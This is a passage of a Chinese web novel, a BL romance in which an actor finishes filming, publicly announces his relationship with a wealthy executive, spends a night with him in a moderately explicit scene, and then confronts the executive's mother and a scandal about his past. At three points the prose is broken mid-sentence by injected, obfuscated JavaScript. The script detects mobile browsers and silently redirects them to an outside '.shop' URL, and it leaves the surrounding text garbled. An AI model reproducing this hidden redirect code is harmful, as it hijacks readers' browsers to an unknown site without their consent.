叶寒枝把红包给季肖,“收好,庆祝死亡的红包。” “……”听见这句话季肖冷着脸压下自己兜里的红包,然后把叶寒枝手里的红包拿过来,“这种话不能乱说。” “说了怎么了?” “忌讳。”季肖说,“别口无遮拦的。” “肖哥,还是信奉科学吧。”叶寒枝道,“反对封建迷信从我做起。” 季肖:“。” 他说,“刚才导演说给你半个杀青宴,我们明天再回去?” “我都没问题哦。”叶寒枝说,“等会顾砚礼应该也会来。” 季肖:“……大总裁真是闲人一个。” 叶寒枝没搭理季肖,他捋了捋衣服,在导演的声音中走过去。 流云死在反派的围剿之中,死亡之前,反派还试图策反他,理所当然被拒绝了。 流云死得很惨,即便是幼年时最狼狈的时候流云也不允许自己身上有不干净的地方,他最喜白衣,一尘不染,最终死的时候却浑身血迹,倒在枯叶之中。 常年覆盖着眼睛的白纱染血,露出那双少有人窥见的眼瞳,干净清澈,他气若游丝,躺在那里感受着那一丝久违的灰暗光芒。 反派在他的身边蹲下来,久久地凝视着那双眼睛,然后叹息着,“若是你站在我这边就不必死了,毕竟我是真的欣赏你。” 尚有余息的流云却扯着嘴角似是在笑,“若……若你不是魔,我也……很欣赏你。” “你快死了。”反派的手覆盖在流云眼睛上,“有什么想说的,我会替你转告你那些朋友们……那些把你抛弃独自逃跑的朋友。” 流云已经没有力气再去推开反派的手,他抬到一半的手软软地落了下去,最后呢喃着,“没有……” 他没有然后想说的,他一个人来,也是一个人走,他的朋友们也没有抛弃他,能离开这里他就已经满足了。 “过——” 刘导喊了一声后若有所思地看着显示器,“你们俩过来看看。” 饰演反派的演员伸手把叶寒枝拉起来,轻声问,“你还好吧?” 叶寒枝点了下头,冲那演员一笑,“还好,导演叫我们呢,过去看看。” 叶寒枝和反派的演员走近时听见导演和编剧在说话,“这条是不是有点不对劲?赤融看流云的眼神总觉得很微妙。” 赤融就是浮生里的反派,饰演赤融的演员凑过去。 “就是得微妙啊。”编剧道,“你看流云是赤融求而不得的人,那自己求而不得的人死了可不得觉得遗憾和惋惜,甚至还夹杂着点伤心,这一幕我觉得特别妙。” 导演:“……” 他看了看饰演赤融的演员,又去看显示屏幕,好半天才招手,“寒枝你来看看。” 叶寒枝也凑了过去。 导演最终拍板决定就用这条,他越看越觉得流云死亡这场戏两个演员都表现得很好。 等叶寒枝去卸妆时,导演才问,“给寒枝的杀青捧花呢?快拿来。” “晚上不是有杀青宴吗?”旁边的人说。 顾砚礼来时正好听见这句话,他转头走进化妆室,叶寒枝已经取下了假发,他从镜子里看着抱捧花的男人,极轻地挑了挑眉,“顾先生,您来这么早?” 顾砚礼拿了化妆棉,“我给你卸妆。” 顾砚礼的动作很温柔,他给叶寒枝卸妆后说,“我听导演说晚上有杀青宴。” 叶寒枝唔了声。 “我们一起去?”顾砚礼说。 叶寒枝说,“男三号有杀青宴不得仰仗顾总?” 顾砚礼轻笑一声,他捏着叶寒枝的下巴亲了亲,低声说,“是你讨人喜欢。” “顾总嘴巴好甜。”叶寒枝笑道。 “你的嘴巴也很甜。”顾砚礼抚摸着叶寒枝的唇然后吻上去。 外面站得笔直的男人深深地吐出一口气,他必须得……必须 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968281|147342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得像顾砚礼一样才行。 …… 杀青宴结束之后是晚上九点,距离yxh所说的爆瓜时间只剩下半个小时。 叶寒枝完全没把这事放在心上,他把花放好后就去洗澡了,徒留顾砚礼在外面摸着口袋里的丝绒盒子,想着等会儿怎么说比较好。 叶寒枝推门出来,“顾先生,我洗好了,你……”要洗了吗? “我。”顾砚礼故作镇定地看着叶寒枝,“有一件东西要给你。” 叶寒枝疑惑问:“什么东西?” “这个。”顾砚礼把戒指递给叶寒枝,金素圈,简单大方。 叶寒枝讶异地挑眉,“戒指?顾先生求婚?” “不是,不是求婚。”顾砚礼握紧了戒指,“这样求婚太不正式了,这就是一份礼物。” 叶寒枝莞尔,“我知道了,那么顾先生不给我戴上吗?” 顾砚礼轻轻地呼吸了一下,然后握住叶寒枝的手,细致而温柔地替叶寒枝戴上,戴上后,他轻吻叶寒枝戴戒指的手,声音微哑,“很漂亮。” 叶寒枝的手白皙修长,戴上戒指的确漂亮,他看向顾砚礼的手指,“那顾先生的呢?我帮你戴?” 顾砚礼把戒指递给叶寒枝,他心跳如鼓,有一种自己在和叶寒枝互换戒指的错觉。 叶寒枝替顾砚礼戴上后,顾砚礼扣住他的手,轻声说,“寒枝,拍个照。” “嗯?” “官宣。”顾砚礼道,“在狗仔爆料之前官宣。” 叶寒枝噗嗤一声笑出来,“顾先生,你好坏啊。” 顾砚礼耳朵又红了。 他拍了照后po到微博上,顾砚礼的粉丝不多但自有营销号关注,他刻意卡在九点三十前五分钟发出去,然后关了手机。 “不要看网上的消息。”顾砚礼亲了亲叶寒枝,“我去洗澡,洗完澡我们一起看。” 叶寒枝又笑,“好。” 他对网上的反应没有太多好奇心,倒是看见了季肖在微信上发的。 「你就任由他胡来?」 胡来? 叶寒枝心想,那可不是。 他开了房间里的红酒倒进高脚杯抿了一口,心道不太好喝,他的手机没什么消息,但顾砚礼的手机肯定消息不少,不过顾砚礼关机了…… 叶寒枝的手机震动起来,他瞥了一眼是陌生号码。 ……狗仔? 叶寒枝把红酒重新放回去,按了接听键,“你好,叶寒枝。” 对面传来一道稳重又不失温柔的声音,“你好,寒枝,我是顾砚礼的妈妈。” 叶寒枝坐直了身体看了一眼电话号码,叫道,“阿姨您好。” “是这样的。”顾妈妈说,“听说你杀青了,所以想约着和你见一面。” 叶寒枝眯了眯眼,“好的,您想约什么时候?” “明天吧,明天我直接到浅水湾就行。” 明天…… 叶寒枝挂了电话若有所思,顾砚礼才官宣没几分钟呢,顾妈妈挑这个时间来难道是—— 难道——豪门贵妇看不上贫穷小白花棒打鸳鸯! 难道——贪慕虚荣的小明星竟然勾引乖巧懂事的儿子,必须得滚出去。 难道——会给他开一张支票让他离开顾砚礼? 那他给什么反应比较好?坚守本心说,“阿姨我和砚礼是真爱。” 又或者,“你侮辱得了我的人,侮辱不了我的人格!” 还是如同风中凌乱的小白花,留下两滴可怜的泪水,委屈地看着她。 不经意透露给顾砚礼发现,他妈要私下和自己见面? 叶寒枝头脑风暴,脑补着明天可能会有的闹剧,身后顾砚礼环住他的腰,亲吻他的耳垂,呼吸微热,“寒枝,怎么在发呆?看网上的消息了?” “唔,没看,不是说一起看吗?”叶寒枝偏过头轻轻眨了眨眼,明知故问,“顾先生洗澡洗完了吗?” “洗完了。”顾砚的唇从叶寒枝的耳垂移到后颈,他舔咬着青年的颈肉,“寒枝,好香。” 他总觉得叶寒枝身上很香,即便他们用同样的沐浴露。 叶寒枝轻笑一声,转过身来面对着顾砚礼,“顾先生这样闻我好像一个小狗。” 顾砚礼耳朵有些热,他不说话,湿热的密密麻麻的吻把叶寒枝覆盖。 叶寒枝扬起颈项,身体轻颤了一下,“顾先生。” 顾砚礼呼吸有些粗,他反手把叶寒枝公主抱起来,“我……” “我杀青了,最近都没事。”叶寒枝搂上顾砚礼的脖子,轻咬了咬顾砚的喉结,低低地笑了一声,“顾先生,想要就做吧……不过,去床上。” 18.金丝雀18 偌大的套房里只留了床头的小桔灯。 暖橙色的光照到的范围不大,连整张床都难以完全照明,那点光打在床上的两个人身上。 这样的光线显得朦胧而暧昧,顾砚礼带着灼热温度的目光从叶寒枝脸上一寸寸往下,眼中带着难以掩饰的爱意。 “顾先生。”叶寒枝遮了遮自己的眼睛,似是掩耳盗铃一般,“别……别看了。” 顾砚礼轻轻捋开叶寒枝眉间的发,他轻咬了下叶寒枝的唇,低低地念着叶寒枝的名字。 叶寒枝长长的睫毛颤了颤,张了张嘴又闭上。 顾砚礼俯下身来,湿热的唇含住了叶寒枝的唇瓣,他没说话,却给与了行动。 顾砚礼的舌头探进来毫无顾忌地横扫一切,叶寒枝头皮发麻,有一种自己正被睡眼惺忪的野兽压着的错觉。 但顾砚礼不是野兽,是行为举止都很温良的男人。 “寒枝。”顾砚礼声音低哑着,在叶寒枝耳边叫着,“寒枝。” 叶寒枝耳朵也泛痒,忍不住偏了下头,顾砚礼便轻易地咬住了叶寒枝后颈的肉,叶寒枝哆嗦了一下,手指不自觉抓紧了顾砚礼的肩膀。 顾砚礼低低地笑了一声,他温柔的舔舐着,这让叶寒枝颤得更厉害了些。 极轻地呜咽声从叶寒枝口中溢出,却似乎鼓舞了顾砚礼。 “顾……顾先生。” 顾砚礼的左手摸到了叶寒枝的唇,手指没入叶寒枝口中,轻易地阻止了叶寒枝叫他。 叶寒枝从迷糊中保持着两分清醒想,再温柔的男人到了床上似乎也是强势的,但顾砚礼的话也太少了…… 好不爽。 叶寒枝有些难受,他推了推顾砚礼的脑袋,“顾先生,为……为什么不说话。” “说。”顾砚礼哑声道,“你想听什么?” 叶寒枝:“……” 这狗男人真是,在床上还能说什么?没做过还没看过? 顾砚礼是真没怎么看过,他一向清心寡欲,曾经倒是念大学的表妹落过本子在他家里,他以为是什么课外书翻过几页,被满屏的好爽好紧之类的话吓得头皮发麻,赶紧合上了。 后来表妹还特别告诉他,她看的是两个男人的。 顾砚礼表示并不想知道,表妹当时叹着气说也不学学,以后遇上喜欢的人可怎么办。 那肯定也不能学两个男人啊,那时顾砚礼想着,他又不喜欢男的。 现在叶寒枝问他的时候,他的确有些词穷,床上那些骚话他有些说不出来,连叶寒枝说做他都会耳热,这实在太违背他从小接受的君子教育了。 说句寒枝好香似乎已经把顾砚礼所学都用尽了。 顾砚礼的呼吸停在腰间,他手指按着叶寒枝腰上红痣摩挲着又低下头去。 被舔着后腰的痣,叶寒枝控制不住自己的身体颤抖,再想演害羞都无法收住这样的反应,只能颤声叫着顾先生。 顾砚礼也许是发现叶寒枝的敏感,以至于对叶寒枝腰间的那颗红痣格外钟爱,他舔咬之后又反复摩挲着,暗灰色的眼瞳里欲念横生。 顾砚礼拉了拉被子,手指试探性地往下。 叶寒枝身体紧绷着,咬牙,“顾砚礼。” 顾砚礼手微僵,倏地收了,“寒枝,我……” “床头柜的东西拿一盒。”叶寒枝深深吐气,怀疑这个男人有没有仔细看过床头柜有什么,该不会就知道个安全套吧? 没吃过猪肉也没见过猪跑?这人心心念念白月光的时候也没想过这些?是什么柳下惠吗?还是演的啊? 顾砚礼连忙扫了床头柜上的东西,他声音很低,“我懂了。” 你最好是真的懂了。 顾砚礼是真的懂了,扫了一眼说明就懂了。 这次很顺利,负距离到底时两个人都舒了口气,顾砚礼亲了亲叶寒枝的唇,小声叫道,“宝宝。” 叶寒枝别过脸,咬着牙,“别叫宝宝!” 好恶心! 顾砚礼捏着叶寒枝的脸,行动上难得强硬声音却低沉沙哑,“宝宝,我开始了。” “你不用预告。”叶寒枝差点没被气笑,“你不行啊?还得我配合你?” 被质疑的顾砚礼默不作声,行动上却没有半点缓下来,卯足了劲想证明自己是男人。 叶寒枝本来还想着顾砚礼不说话,那他也不说,谁知道最终还是没能忍住自己的声音,还夹杂着几声真心实意的骂人,“顾砚礼,你是属狗的吗?” 顾砚礼由着叶寒枝骂,他眼神沉沉地亲着叶寒枝,“宝宝不哭,我已经很克制了。” 克制个鬼克制,叶寒枝丝毫不讲道理地想,顾砚礼就是丝毫不懂得怜香惜玉的野兽。 叶寒枝哭累了,他的脸陷在枕头里,死死地咬着枕角,这次不是演的了,是真哭——尽管是因为爽的。 身后的男人和他肌肤相贴,扣紧了他的十指,哑声地叫宝宝,叫寒枝。 结束的时候顾砚礼意犹未尽,叶寒枝趴在那里,后背的蝴蝶骨微微凸起,顾砚礼亲了亲蝴蝶骨处。 叶寒枝抬脚踹了下顾砚礼,“别亲了。” 他借着这个当把顾砚礼骂也骂了,身体也爽了目前还算满足,叶寒枝懒洋洋地朝顾砚礼伸出手。 顾砚礼精力充沛,他抱着叶寒枝去洗了澡,又让酒店的人重新送床单来。 他没让酒店的人换,自己三下五除二把床铺得整整齐齐,回头的时候叶寒枝已经陷在沙发里睡着了,银色的发遮住了叶寒枝倦怠的眉眼,顾砚礼轻手轻脚地把叶寒枝抱上床,心头前所未有地满足。 睡也睡不着,顾砚礼一只手搂着也看着,一只手给手机开了机看到了季肖发的消息。 季肖说他居然来真的,发信时间是九点三十几分,而现在已经是凌晨两点半了。 顾砚礼单手慢腾腾地打字,「当然是认真的,我和你说过,要和他结婚。」 凌晨两点半,根本不能猜出为什么到现在才回复消息,季肖的破防顾砚礼看不见。 顾砚礼点进大眼睛,第一后面有个明晃晃的爆字,一溜的热搜一眼就能看到好几个与他们有关的。 #叶寒枝 浮生杀青特辑# #星河娱乐顾砚礼 叶寒枝# #顾砚礼 我的爱人# #叶寒枝 出道塌房第一人# #出道第一部作品是官宣# 顾砚礼点进去,也许是叶寒枝死忠粉不多,多的是网上的路人和乐子人,还有浑水摸鱼防爆叶寒枝的黑子。 「出道就塌房,还是真嫂子自爆,笑死,生粉地狱。」 「人家微博都没开,显然没打算做流量好吧,就别说什么出道即塌房了,人家正经谈恋爱塌房什么塌房。」 「没人觉得顾总也坏坏的吗?营销号预热九点半发,他故意在营销号前五分钟发,五分钟,足够关注他的那些营销号转发扩散了,之前预热的营销号气都要气死了。」 「反正我是不在意他是不是谈恋爱,演员看的不是业务能力吗?什么时候还管起人家是不是谈恋爱结婚了啊?人家又不是靠粉丝打投出道的爱豆,也不是靠女友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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所以新的热搜#替男朋友拒梦女#也从尾巴上悄悄地爬上了前榜。 …… 季肖没收到叶寒枝的回信,也没有打通顾砚礼的电话,却在凌晨两点半的时候收到了顾砚礼发来的消息,又看到了热搜榜的新词条。 凌晨两点半……这种时候顾砚礼还醒着不是因为工作就是因为—— 当然不会是工作,如果是工作的话,早就因为叶寒枝的事回他了,可没有。 在这种时候,季肖甚至能想象得到顾砚礼和叶寒枝做了什么才结束,他气得一把将手机砸在墙上,屏幕应声而碎。 是故意的,一定是故意的,季肖攥紧了拳头骨骼咯咯作响,他不能生气。 生气什么?叶寒枝自毁前途? 不是,他只是嫉妒顾砚礼能光明正大官宣而已,而叶寒枝也由着顾砚礼官宣,甚至在官宣之后,两个人没有一个把网上的舆论放在心上。 真的那么爱吗?那么没心没肺的叶寒枝……真的会喜欢顾砚礼吗?只是因为顾砚礼有钱有势而已,如果顾砚礼没有了就好了,顾砚礼没有了,叶寒枝就会寻找新的猎物。 那个猎物又凭什么不能是他呢? 冷静了片刻,他把手机捡起面无表情地打开房间的门来到电梯面前,盯着变换的数字,他不知道想到了什么,沉沉地笑了一声,重新退回了房间里。 就算现在去了顶层楼,他也不一定见得到叶寒枝,又何必上去找不痛快呢?难道等着顾砚礼向他炫耀吗? 19.金丝雀19 叶寒枝和顾砚礼回到浅水湾的时候是上午十点,顾砚礼把行李放好后去看叶寒枝,“我去做饭。” “嗯?”叶寒枝说,“等会儿我点外卖就行,不用那么麻烦,你不是还要去公司吗?” “外卖怎么行?”顾砚礼脱了外套挽袖子,“我给你熬点粥。” “熬粥时间太久了。”叶寒枝无奈地揉了揉眉心,“你快走吧你。” 顾砚礼:“……” 他有些委屈,“刚上完床你就嫌弃我了?” “……别给自己加戏,我就是想多睡一会,你去好好工作,赚钱养我。”叶寒枝理直气壮。 “粥……” “不用你管。” 顾砚礼的母亲用不了多久就会来,他可没打算让顾砚礼听他们的谈话。 顾砚礼搂住叶寒枝的肩,“我会早点回来,等会我给你点东西送过来。” 叶寒枝说好,只要顾砚礼不在就行了。 顾砚礼依依不舍地亲了亲叶寒枝的鼻尖,“那我走了。” “嗯。”叶寒枝说,“早点回来就好了。” “好好休息,有事给我打电话。”顾砚礼又叮嘱,“不要出门,外面说不定会有狗仔,我早点回来。” 叶寒枝连连点头挥手,“去吧去吧。” 顾砚礼:“……那我走了。” 叶寒枝说,“走吧。” 顾砚礼微微抿了抿唇,往外去,叶寒枝眯着眼看着他失落的背影,叫了一声,“顾先生。” 顾砚礼回过头来,叶寒枝三两步靠近他,伸手拉了拉顾砚礼的领带,笑盈盈道,“我帮你整理一下。” 顾砚礼轻咳一声,眉眼含笑,“好。” 叶寒枝替顾砚礼捋了捋衣服和领带后抬头亲了一下顾砚礼的下巴,声音柔软,“早点回来哦。” “好。”顾砚礼心底的欢喜满得快要溢出来,他把叶寒枝抱在怀里,深深地呼吸了一下又松开,“那我走了。” 叶寒枝挥了挥手。 顾砚礼没多久,他的母亲便踏进了浅水湾别墅的大门。 顾母来时身边只跟了一个穿西装的中年男人,丝绒旗袍搭配着珍珠项链,耳朵上戴着祖母绿宝石,头发盘得一丝不苟,典型的贵妇打扮,但看起来极为平易近人。 叶寒枝叫了声阿姨给她倒了茶,顾母看着叶寒枝倒茶时优雅的动作,“叶先生不必忙,我就是有些事想问问你。” 叶寒枝手一顿,缓缓把茶壶放下,抬眸看着顾母。 “之前阿礼的确和我说过要和你结婚的事情,孩子喜欢的人我们会尊重。”顾母的视线落在叶寒枝脸上,淡淡地笑了笑,“不过有些事情可能比较复杂。” 叶寒枝唇角微勾,“阿姨您说。” “阿礼以前并没有谈过恋爱,我们也不想对他的婚姻指手画脚,一直都秉承着他喜欢便好的原则。“顾母说,“有件事需要和你道歉,知道你之后我让人去查了你的过去。” 叶寒枝笑容不变,对上顾母的双眸,“顾先生有您这样的母亲,他很幸福。” “我想你应该知道我要说什么了。”顾母从一旁的中年男人那里拿了文件袋递给叶寒枝,“这些……应该都是真的发生过的事情吧?” 叶寒枝在顾母的目光下平静地打开文件袋,发现前反派从小到大的所有事情都被调查得清清楚楚,初中时因为打架进入少管所,高中偷了同校学生的贵重平板去变卖被学校劝退,在夜场当牛郎因为对富婆发脾气而被开除,当过流浪汉,骗过有钱人被打……等等。 顾母没从叶寒枝的脸上发现任何情绪波动时眉梢微皱,她说,“就算你否认也没关系。” “我不否认啊。”叶寒枝弯了弯眸,轻笑,“阿姨,不过你今天来应该不只是为了给我看这些,你想让我做什么呢?离开这里吗?” 顾母定定地看着叶寒枝,这个年轻人长了一副很能迷惑人心的模样,任谁看到他这张脸都想不到他以前做过那些事。 她说,“我不会说让你离开阿礼的话,毕竟他看起来很喜欢你,强行让你们分开只会让他更恋恋不忘。” “这些东西我随时可以放到网上。”顾母说,“那么你的事业都将毁于一旦。” 叶寒枝眨了眨眼,“唔,事业吗?” 如果说他不在意顾母会不会被气到啊? “江山易改,本性难移,我也不相信你现在是真的喜欢阿礼想要和他在一起,所以我来这里只是为了让你签一份协议。”顾母说。 叶寒枝极轻地嗯了声,“什么协议?” “婚前协议。” 中年男人把协议推到叶寒枝面前,“这是顾夫人和你之间的协议,与小顾总无关。” 叶寒枝草草扫了一眼协议内容,无非就是防止他骗顾砚礼的财产罢了。 “虽然不知道阿礼能不能顺利和你结婚,不过如果你真的想和他结婚,那就签了这份协议,签完之后我不会干涉你们的感情。”顾母看了一眼时间,“还有既然你要演,那就在他面前演一辈子,我不希望他难过。” 叶寒枝捏着律师递过来的笔,眸光闪烁,他想,顾砚礼真是命好啊,能有这样为他着想的母亲,也是,能教出顾砚礼那样的人,家人肯定也不是什么只会甩钱让他走人的人,人家有的是好办法。 叶寒枝放下笔看向顾母,“顾夫人,我想你想错了。” 顾母微微皱眉,“什么?” 顾母没明白叶寒枝为什么不签,就算不能谋得股份财产,但和顾砚礼结婚之后自然衣食无忧,如果真的爱钱不至于拒绝这样的条件。 “我从来没有说过要和顾砚礼结婚啊。”叶寒枝眨巴着眼,“我就是他包养的一个金丝雀罢了,我们是包养关系,他喜欢的……另有其人哦。” “……”顾母不可思议地看了一眼叶寒枝,“你说什么?” “我说他喜欢的另有其人。”叶寒枝幽幽叹气,“甚至连我,都只是那个人的替身罢了。” “你……”顾母握紧了手中的协议,骤然升腾起怒火,“你以为阿礼是那些脑子不正常的人吗?” 叶寒枝:“您生气了吗?” 顾母:“……” 她压下自己的怒火,“你签了协议,和阿礼好好在一起,过往一切都不会有人追究。” 叶寒枝:“不要。” “你——” “顾夫人。”叶寒枝笑盈盈道,“要不然你直接告诉顾砚礼我是什么样的人好了,协议我不会签的,不管我会不会和他结婚,这份协议都是一个侮辱,我不喜欢别人侮辱我。” “叶先生。”律师开口道,“这份协议除了杜绝你获得顾家家产,别的并没有任何侮辱你的意思,甚至连条件也很宽松。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997112|147342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶寒枝做疑惑状,“是吗?可是我不懂诶。” “……” “我又不懂法。”叶寒枝叹气,一副懒洋洋的模样靠在沙发上,“让我不开心了我就不签,反正你可以告诉顾砚礼的。” “……”顾母从没有和叶寒枝这种人打过交道,她被气得不轻,猛地站起来,“我劝你还是好好想想,这份协议对你来说百利而无一害。” 叶寒枝:“哦。” 顾母:“如果我把这些爆出去,阿礼不见得会再喜欢你。” “您随意。”叶寒枝站起来伸了个懒腰,露出雪白劲瘦的腰肢,红痣上覆盖着密密麻麻的齿痕,叶寒枝放下手看向顾母,“您现在打电话告诉他也行,我也能附和您,告诉他我到底是什么样的人。” 顾母:“……”她对叶寒枝这种软硬不吃,似乎百毒不侵没有软肋的人毫无办法,她看人很准,可现在她摸不清叶寒枝是吃定了她不会说有恃无恐,还是真的不在意刚刚起步的事情,这让她怀疑自己今天不该来这一趟。 叶寒枝又问,“阿姨您要和我一起用午餐吗?还是说要离开呢?” 顾母:“……” …… “顾先生,网上有人给营销号投了爆料,爆出来了一些对叶先生不太好的事情。”沈助理推开办公室的门进来,“如果那些事是真的,对顾先生的事业来说肯定是毁灭性打击,毕竟不仅仅是塌房这么简单,涉及到违法了。” 顾砚礼压着眉看着飞快上窜的词条,表情有些冷,“先压下去。” “直接压热搜会坐实,反而会让路人逆反。”沈助理迟疑了片刻,“如果这些不是真的最好是及时澄清。” 顾砚礼抿紧唇,他很清楚压热搜捂嘴会让吃瓜群众逆反,只是他不想看到叶寒枝的名字挂在热搜上被人骂。 至于爆料人爆料的东西…… “对了,狗仔说明天中午十二点会和爆料人连线直播。”沈助理滑动平板,“或许我们可以在这段时间把爆料人找到,看看是什么人搞鬼。” 顾砚礼沉沉地吐了口气,他站起来取了外套往外走,“找人的事你来做,先发个声明。” 沈助理颔首,“好。” 顾砚礼拉开办公室的门见季肖站在门口,他脚步一顿,“有事也等我回来再说。” “说什么?”季肖冷冷问,“我之前是不是劝过你不要和他公开?现在网上攻击他的人还说你也是被他欺骗的人之一,你难道没什么想说的吗?” 顾砚礼压下眉宇间的忧虑,皱眉,“我现在没时间和你说这些,我要回去。” “回去质问他吗?”季肖接连问,“如果他真的做过又怎么样?没办法澄清那些事情网上的舆论你打算怎么控制?” 顾砚礼只道,“你先让开。” “你保护不好他。” 顾砚礼没有生气,他只轻飘飘问,“那么你是怎么保护他的?” 不等季肖回答,顾砚礼往旁边绕开,“好了,我现在没有时间和你说这些。” “如果不能接受他有着恶的一面,现在就和他分开。”季肖冷淡的声音从后面穿到顾砚礼的耳朵里,“如果他是恶人我也会陪他做恶人,他想作恶,我给他递刀。” 顾砚礼脚步没停下来,最后的问话还是带着几分嘲弄地追过来,“那么顾砚礼,你能做到吗?” 20.金丝雀20 他能做到吗? 客厅没有人,应该是在楼上。 顾砚礼上楼的途中想了很多,最终都在心底平静下来。 那又怎么样呢?顾砚礼想,他喜欢叶寒枝,他就喜欢了这么一个人,就算叶寒枝真的做过又怎么样呢?谁都会犯错,他也犯过错。 他喜欢叶寒枝,不,他爱叶寒枝,他接受叶寒枝的一切,只要叶寒枝也喜欢他。 如果不是幼年时太凄惨,寒枝不会去做这些事,顾砚礼的手握在门把上轻轻地推开。 房间里窗帘紧闭,床上睡着的人呼吸均匀。 顾砚礼微不可见地舒了口气,没看见网上的消息就好。 他放轻了脚步来到床边,看见了叶寒枝微蹙的眉尖。 顾砚礼指腹按上叶寒枝的眉试图把叶寒枝眉间抚平,手刚放上去便被握住。 叶寒枝睁开眼看着顾砚礼,他的瞳孔颜色略浅,近着看人时显得很柔和,“顾先生这么快就回来了?” “嗯。”顾砚礼低下头,碰了碰叶寒枝的唇,轻声说,“想你。” 叶寒枝笑了一下,“我还以为出什么事了呢。” 顾砚礼微微沉默了片刻,摸了摸叶寒枝柔软的发,“嗯……是有点事,有个人在网上爆料你以前的事情。” 叶寒枝眨巴了下眼,“嗯,以前的事?” “嗯,你不需要多管,我会处理的。”顾砚礼说到这里问,“饿不饿?我去做饭。” 叶寒枝颔首,“好。” 顾砚礼亲了亲叶寒枝眉心,起身下楼。 叶寒枝摸出手机点进去看了一眼,见词条#叶寒枝 塌房#挂在热榜一。 肥啾在一旁幽幽道,「据我所知,是在公司说你坏话的人被顾砚礼开除了,他心生不忿就去网上爆料了这些,啾。」 叶寒枝神色毫无波动,「所以顾砚礼早就应该知道我不是表现出来的这副模样?」 「他不知道,他挺信任你的。」肥啾说,「你要跟他说你以前是迫不得已,他肯定会更心疼你。」 「可是没必要了。」叶寒枝点进绿泡泡,看了一眼季肖发的消息,太多了,他不乐意看。 「没必要?」 「哥哥我是反派啊。」叶寒枝无语,「你真以为我和顾砚礼谈恋爱呢?」 肥啾:「……啾。」 「也是时候让顾砚礼知道我是个坏男人了吧?」叶寒枝慢吞吞地打字,「既然他信任我,那么打碎这些信任就好了,让他意识到他以前喜欢我有多么愚蠢。」 肥啾:「……啾。」 它看了一眼叶寒枝的屏幕,见叶寒枝给季肖发了消息。 「我现在的确需要你帮忙。」 肥啾愣了下,「给他发消息做什么?」 「设定不是有反派联合顾砚礼信任的人背叛顾砚礼的环节吗?」叶寒枝丢下手机,「季肖是他信任的人吧?」 肥啾恍然:“对哦!” 叶寒枝:“……”这蠢鸟在对什么啊? …… 叶寒枝下楼的时候正好听见顾砚礼在打电话。 男人穿着黑色衬衫,袖子挽起来,系着围裙,生活气息极其浓厚。 「是顾砚礼的妈妈哦,啾。」肥啾小声说,「要不要偷偷听一下?」 其实不需要偷偷听,顾砚礼的声音已经传入了叶寒枝耳中。 “网上的事情我会处理好的,您和父亲不必太多担心。”他眉目间带着从容不迫的笑,“本来也不是什么大事,这种程度的公关公司做过许多次了。” “正是因为寒枝是我的爱人,我才会更冷静一些,绝对不会让这些事影响到他以后的生活。” “回家一趟?是什么很要紧的事吗?”顾砚礼关了火,无奈地笑了一声,“母亲,我怕他难受想多陪陪他,父亲不也是如此爱着你吗?” “很要紧的事?”顾砚礼迟疑了片刻,他回过头来看到了站在楼梯上的叶寒枝,捂了捂话筒小声问,“不睡了?” 叶寒枝走下来善解人意道,“阿姨让你回家一趟吗?那就回去吧,不用担心我,我没事的。” 电话那头的顾母瞬间抿紧了唇,她能听出叶寒枝的声音没有什么担忧的情绪,似乎网上爆出来的事对他毫无影响,根本没放在心上一样。 顾母不得不承认叶寒枝这样的心态做什么都会成功,又或者说她其实也很欣赏这样的人,只不过……如果会影响到顾砚礼的话,她自然会想得更多。 这样想着,她听见顾砚礼说,“那好母亲,我吃完饭就过去。” 顾母淡淡地嗯了声。 她挂了电话后看向坐在沙发上的顾父,“阿礼会回来,你和他好好谈。” 顾父拍了拍自己旁边,“你还没和我说见了那个叶寒枝之后的感觉怎么样,如果阿礼执意要和他在一起,我们阻止不了,他一向有自己的主意。” 顾母坐下后沉思了片刻才说,“若是他真的喜欢阿礼,两个人在一起也未尝不可。” “嗯?”顾父有些惊讶,“可我听说,你被他气得不轻。” “那孩子看起来应该有什么不为人知的秘密。”顾母轻叹口气,“他说什么阿礼把他当做替身,也不知道是不是看剧本看多了。” 顾父没忍住笑了一声,“怎么看着,还挺有趣的。” “如果他一直在骗你家儿子,那可没趣了。” “阿礼一向冷静,若是他真的不喜欢,阿礼也会放手的。” 顾母不觉得有这么乐观,她幽幽地叹了口气,“算了,等他回来再说吧。” …… 叶寒枝站在厨房门口,看着顾砚礼忙碌的动作,安静了许久。 其实他以前也期待过的,期待着这样的生活,贫民区有一个摇摇欲坠的大屏幕,上面会播放许多在贫民区绝不可能出现的东西。 富人们精致的生活,外面绚丽多彩的世界。 晚上的时候会反复播放着一家三口的生活,那个时候叶寒枝还小,他只能揪着破旧脏污的衣衫仰着头羡慕地看着屏幕中被父母呵护的小孩,听着小孩叫爸爸妈妈时甜脆的声音,他总想如果自己的爸爸妈妈在就好了,就算没有那么有钱,肯定也会过得很快乐。 他没有太大的野心,他就想……就想在不被风吹日晒的小屋子里安稳地过一辈子,能够穿干净的衣服,吃饱饭,别的什么都不奢求。 